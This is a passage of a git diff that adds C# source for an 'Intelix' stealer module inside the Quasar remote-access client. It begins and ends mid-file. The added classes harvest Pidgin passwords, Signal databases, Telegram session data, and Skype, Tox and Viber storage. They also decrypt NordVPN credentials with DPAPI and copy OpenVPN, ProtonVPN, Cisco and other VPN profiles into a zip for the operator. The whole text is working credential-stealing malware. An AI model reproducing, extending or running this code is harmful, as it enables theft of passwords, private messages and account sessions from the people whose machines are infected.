valueName + ": " + text2; + } + } + catch + { + } + return null; + } + string text3 = raw.ToString(); + if (string.IsNullOrWhiteSpace(text3)) + { + return null; + } + if (!HostnameRx.IsMatch(text3)) + { + MailAddressRx.IsMatch(text3); + } + return valueName + ": " + text3; + } + + private static string DecryptValue(byte[] encrypted) + { + if (encrypted == null || encrypted.Length <= 1) + { + return null; + } + try + { + byte[] array = new byte[encrypted.Length - 1]; + Buffer.BlockCopy(encrypted, 1, array, 0, array.Length); + byte[] array2 = DpApi.Decrypt(array); + if (array2 == null || array2.Length == 0) + { + return null; + } + return Encoding.UTF8.GetString(array2).TrimEnd(default(char)); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs new file mode 100755 index 0000000..2d5905d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs @@ -0,0 +1,99 @@ +using System; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Pidgin : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ".purple"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Pidgin"; + CollectAccounts(zip, text, counterApplications); + CollectLogs(zip, text, counterApplications); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Pidgin\\"); + counter.Messangers.Add(counterApplications); + } + } + } + + private void CollectLogs(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications) + { + try + { + string text = Path.Combine(pidginRoot, "logs"); + if (Directory.Exists(text)) + { + string text2 = Path.Combine("Pidgin", "chatlogs"); + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + } + } + catch + { + } + } + + private void CollectAccounts(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications) + { + try + { + string text = Path.Combine(pidginRoot, "accounts.xml"); + if (!File.Exists(text)) + { + return; + } + StringBuilder stringBuilder = new StringBuilder(); + XmlDocument xmlDocument = new XmlDocument(); + using (XmlReader reader = XmlReader.Create(text, new XmlReaderSettings + { + IgnoreComments = true, + IgnoreWhitespace = true + })) + { + xmlDocument.Load(reader); + } + XmlElement documentElement = xmlDocument.DocumentElement; + if (documentElement == null) + { + return; + } + foreach (XmlNode childNode in documentElement.ChildNodes) + { + if (childNode.ChildNodes.Count >= 3) + { + XmlNode xmlNode2 = childNode.ChildNodes[0]; + XmlNode xmlNode3 = childNode.ChildNodes[1]; + XmlNode xmlNode4 = childNode.ChildNodes[2]; + string text2 = xmlNode2?.InnerText; + string text3 = xmlNode3?.InnerText; + string text4 = xmlNode4?.InnerText; + if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text4)) + { + stringBuilder.AppendLine("Protocol: " + text2); + stringBuilder.AppendLine("Username: " + text3); + stringBuilder.AppendLine("Password: " + text4); + stringBuilder.AppendLine(); + } + } + } + if (stringBuilder.Length != 0) + { + string text5 = Path.Combine("Pidgin", "accounts.txt"); + zip.AddTextFile(text5, stringBuilder.ToString()); + counterApplications.Files.Add(text + " => " + text5); + } + } + catch + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs new file mode 100755 index 0000000..9fd7c37 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs @@ -0,0 +1,43 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Signal : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Signal"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Signal"; + string[] array = new string[4] { "databases", "Session Storage", "Local Storage", "sql" }; + foreach (string path in array) + { + string text2 = Path.Combine(text, path); + if (Directory.Exists(text2)) + { + string text3 = Path.Combine("Signal", path); + zip.AddDirectoryFiles(text2, text3); + counterApplications.Files.Add(text2 + " => " + text3); + } + } + string text4 = Path.Combine(text, "config.json"); + if (File.Exists(text4)) + { + string text5 = Path.Combine("Signal", "config.json"); + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + counterApplications.Files.Add(text5); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Signal\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs new file mode 100755 index 0000000..33fd174 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs @@ -0,0 +1,24 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Skype : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Skype for Desktop", "Local Storage"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Skype"; + string text2 = Path.Combine("Skype", "Local Storage"); + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counterApplications.Files.Add("Skype\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs new file mode 100755 index 0000000..090797b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Telegram : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Telegram"; + Parallel.ForEach(FindAllMatches("tdata"), delegate(string tdata) + { + string targetPath = Path.GetFileName(tdata.Remove(tdata.Length - 6, 6)) + RandomStrings.GenerateHashTag(); + Copydata(tdata, targetPath, zip, counterApplications); + }); + if (counterApplications.Files.Count > 0) + { + counter.Messangers.Add(counterApplications); + } + } + + private void AddIfMatch(FileInfo fileInfo, string entryPath, InMemoryZip zip) + { + string name = fileInfo.Name; + if (name.EndsWith("s") && name.Length == 17) + { + zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName)); + } + else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data") || name.StartsWith("configs") || name.StartsWith("maps")) + { + zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName)); + } + } + + private void Copydata(string sourceDir, string targetPath, InMemoryZip zip, Counter.CounterApplications counterApplications) + { + ConcurrentBag matchedNames = new ConcurrentBag(); + bool addedAny = false; + Parallel.ForEach(Directory.GetFiles(sourceDir), delegate(string filePath) + { + try + { + FileInfo fileInfo = new FileInfo(filePath); + if (fileInfo.Length <= 7120) + { + string entryPath = targetPath + "\\" + fileInfo.Name; + if (fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) + { + matchedNames.Add(fileInfo.Name); + } + _ = counterApplications.Files.Count; + AddIfMatch(fileInfo, entryPath, zip); + if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps")) + { + addedAny = true; + } + } + } + catch + { + } + }); + Parallel.ForEach(matchedNames, delegate(string name) + { + try + { + string dirPath = Path.Combine(sourceDir, name); + dirPath = dirPath.Remove(dirPath.Length - 1); + if (Directory.Exists(dirPath)) + { + Parallel.ForEach(Directory.GetFiles(dirPath), delegate(string filePath) + { + try + { + FileInfo fileInfo = new FileInfo(filePath); + if (fileInfo.Length <= 7120) + { + string entryPath = targetPath + "\\" + Path.GetFileName(dirPath) + "\\" + fileInfo.Name; + AddIfMatch(fileInfo, entryPath, zip); + if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps")) + { + addedAny = true; + } + } + } + catch + { + } + }); + } + } + catch + { + } + }); + if (addedAny) + { + counterApplications.Files.Add(sourceDir + " => " + targetPath); + } + } + + private List FindInAppData(string folderName) + { + if (string.IsNullOrEmpty(folderName)) + { + return new List(); + } + ConcurrentDictionary found = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + string[] array = new string[2] + { + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + }; + foreach (string text in array) + { + if (string.IsNullOrEmpty(text) || !Directory.Exists(text)) + { + continue; + } + try + { + Parallel.ForEach(Directory.EnumerateDirectories(text, "*", SearchOption.TopDirectoryOnly), delegate(string dir1) + { + try + { + string path = Path.Combine(dir1, folderName); + if (Directory.Exists(path)) + { + found.TryAdd(Path.GetFullPath(path), 0); + } + } + catch + { + } + }); + } + catch + { + } + } + return new List(found.Keys); + } + + private List FindAllMatches(string folderName) + { + ConcurrentDictionary set = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + Parallel.ForEach(ProcessWindows.FindFolder(folderName), delegate(string p) + { + set.TryAdd(p, 0); + }); + Parallel.ForEach(FindInAppData(folderName), delegate(string p) + { + set.TryAdd(p, 0); + }); + return new List(set.Keys); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs new file mode 100755 index 0000000..584d03c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Tox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Tox"); + if (Directory.Exists(text)) + { + string text2 = "Tox"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Tox"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs new file mode 100755 index 0000000..77a0d8b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Viber : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ViberPC", "data"); + if (Directory.Exists(text)) + { + string entry = "Viber"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Viber"; + Array.ForEach(Directory.GetFiles(text), delegate(string file) + { + zip.AddFile(entry + "\\" + Path.GetFileName(file), File.ReadAllBytes(file)); + }); + Array.ForEach(Directory.GetDirectories(text), delegate(string dir) + { + zip.AddDirectoryFiles(dir, entry); + }); + counterApplications.Files.Add(text + " => " + entry); + counterApplications.Files.Add(entry); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs new file mode 100755 index 0000000..c39fae9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Cisco : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Cisco", "Cisco AnyConnect Secure Mobility Client", "Profile"); + if (Directory.Exists(text)) + { + string text2 = "Cisco"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Cisco AnyConnect"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs new file mode 100755 index 0000000..2b2b082 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class CyberGhost : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "CyberGhost"); + if (Directory.Exists(text)) + { + string text2 = "CyberGhost"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CyberGhost"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs new file mode 100755 index 0000000..1124bb6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class ExpressVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ExpressVPN"); + if (Directory.Exists(text)) + { + string text2 = "ExpressVPN"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ExpressVPN"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs new file mode 100755 index 0000000..7642d00 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Hamachi : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "LogMeIn Hamachi"); + if (Directory.Exists(text)) + { + string text2 = "LogMeIn Hamachi"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "LogMeIn Hamachi"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs new file mode 100755 index 0000000..648637c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs @@ -0,0 +1,52 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class HideMyName : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\hidemy.name VPN 2.0"; + if (!Directory.Exists(text)) + { + return; + } + string text2 = "HideMyName"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "HideMyName"; + if (File.Exists(text + "\\HideMyName")) + { + zip.AddFile(text2 + "\\HideMyName", File.ReadAllBytes(text + "\\HideMyName")); + counterApplications.Files.Add(text + "\\HideMyName => " + text2 + "\\HideMyName"); + } + if (File.Exists(text + "\\log-app.txt")) + { + zip.AddFile(text2 + "\\log-app.txt", File.ReadAllBytes(text + "\\log-app.txt")); + counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\log-app.txt"); + List list = new List(); + foreach (Match item in new Regex("code\\s+(\\d+)").Matches(File.ReadAllText(text + "\\log-app.txt"))) + { + if (item.Success) + { + string value = item.Groups[1].Value; + if (!list.Contains(value)) + { + list.Add(value); + } + } + } + if (list.Count() > 0) + { + zip.AddTextFile(text2 + "\\ActivatedCodes.txt", string.Join("\n", list)); + counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\ActivatedCodes.txt"); + } + } + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs new file mode 100755 index 0000000..5f86b7a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class IpVanish : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "IPVanish", "Settings"); + if (Directory.Exists(text)) + { + string text2 = "IPVanish"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "IPVanish"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs new file mode 100755 index 0000000..9507dd9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs @@ -0,0 +1,22 @@ +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class MullVad : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\Mullvad VPN\\Configs\\Mullvad"; + if (File.Exists(text)) + { + string text2 = "Mullvad"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Mullvad"; + zip.AddFile(Path.Combine(text2, Path.GetFileName(text)), File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs new file mode 100755 index 0000000..cb47b5d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Vpn; + +public class NordVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "NordVPN")); + if (!directoryInfo.Exists) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "NordVPN"; + try + { + DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*"); + foreach (DirectoryInfo directoryInfo2 in directories) + { + List list = new List(); + DirectoryInfo[] directories2 = directoryInfo2.GetDirectories(); + for (int j = 0; j < directories2.Length; j++) + { + string text = Path.Combine(directories2[j].FullName, "user.config"); + if (File.Exists(text)) + { + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(text); + string text2 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Username']/value")?.InnerText); + string text3 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Password']/value")?.InnerText); + if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3)) + { + list.Add("Username: " + text2 + "\nPassword: " + text3); + } + } + } + if (list.Count > 0) + { + string entryPath = Path.Combine("NordVPN", directoryInfo2.Name, "accounts.txt"); + counterApplications.Files.Add(directoryInfo2.FullName + " => NordVPN\\"); + counterApplications.Files.Add("NordVPN\\"); + zip.AddTextFile(entryPath, string.Join("\n\n", list)); + } + } + } + catch + { + } + counterApplications.Files.Add("NordVPN\\"); + counter.Vpns.Add(counterApplications); + } + + private static string Decode(string s) + { + return Encoding.UTF8.GetString(DpApi.Decrypt(Convert.FromBase64String(s))) ?? ""; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs new file mode 100755 index 0000000..932ff42 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs @@ -0,0 +1,37 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class OpenVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect", "profiles"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "OpenVPN"; + Parallel.ForEach(Directory.GetFiles(text), delegate(string file) + { + try + { + if (!(Path.GetExtension(file) != ".ovpn")) + { + string entryPath = "OpenVpn\\" + Path.GetFileName(file); + zip.AddFile(entryPath, File.ReadAllBytes(file)); + } + } + catch + { + } + }); + counterApplications.Files.Add(text + " => OpenVpn"); + counterApplications.Files.Add("OpenVpn\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs new file mode 100755 index 0000000..1b305aa --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class PIAVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "pia_manager"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PIA"; + zip.AddDirectoryFiles(text, "PIAVPN"); + counterApplications.Files.Add(text + " => PIAVPN"); + counterApplications.Files.Add("PIAVPN\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs new file mode 100755 index 0000000..325ba75 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs @@ -0,0 +1,50 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class ProtonVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ProtonVPN"; + Parallel.ForEach(Directory.GetDirectories(text), delegate(string dir) + { + try + { + if (dir.Contains("ProtonVPN_")) + { + Parallel.ForEach(Directory.GetDirectories(dir), delegate(string version) + { + try + { + string path = Path.Combine(version, "user.config"); + if (File.Exists(path)) + { + string entryPath = "ProtonVpn\\" + Path.GetFileName(version) + "\\user.config"; + zip.AddFile(entryPath, File.ReadAllBytes(path)); + } + } + catch + { + } + }); + } + } + catch + { + } + }); + counterApplications.Files.Add(text + " => ProtonVpn"); + counterApplications.Files.Add("ProtonVpn\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs new file mode 100755 index 0000000..f8aeb73 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Proxifier : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Proxifier4", "Profiles"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Proxifier"; + zip.AddDirectoryFiles(text, "Proxifier"); + counterApplications.Files.Add(text + " => Proxifier"); + counterApplications.Files.Add("Proxifier\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs new file mode 100755 index 0000000..27d5376 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs @@ -0,0 +1,45 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Vpn; + +public class RadminVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key)); + } + using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key2)); + } + using (RegistryKey key3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key3)); + } + using (RegistryKey key4 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key4)); + } + if (list.Any()) + { + string text = "RadminVPN\\Registry.txt"; + zip.AddTextFile(text, string.Join("\n", list)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RadminVPN"; + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0 => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy => " + text); + counterApplications.Files.Add(text); + counterApplications.Files.Add("RadminVPN\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs new file mode 100755 index 0000000..b415805 --- /dev/null +++ 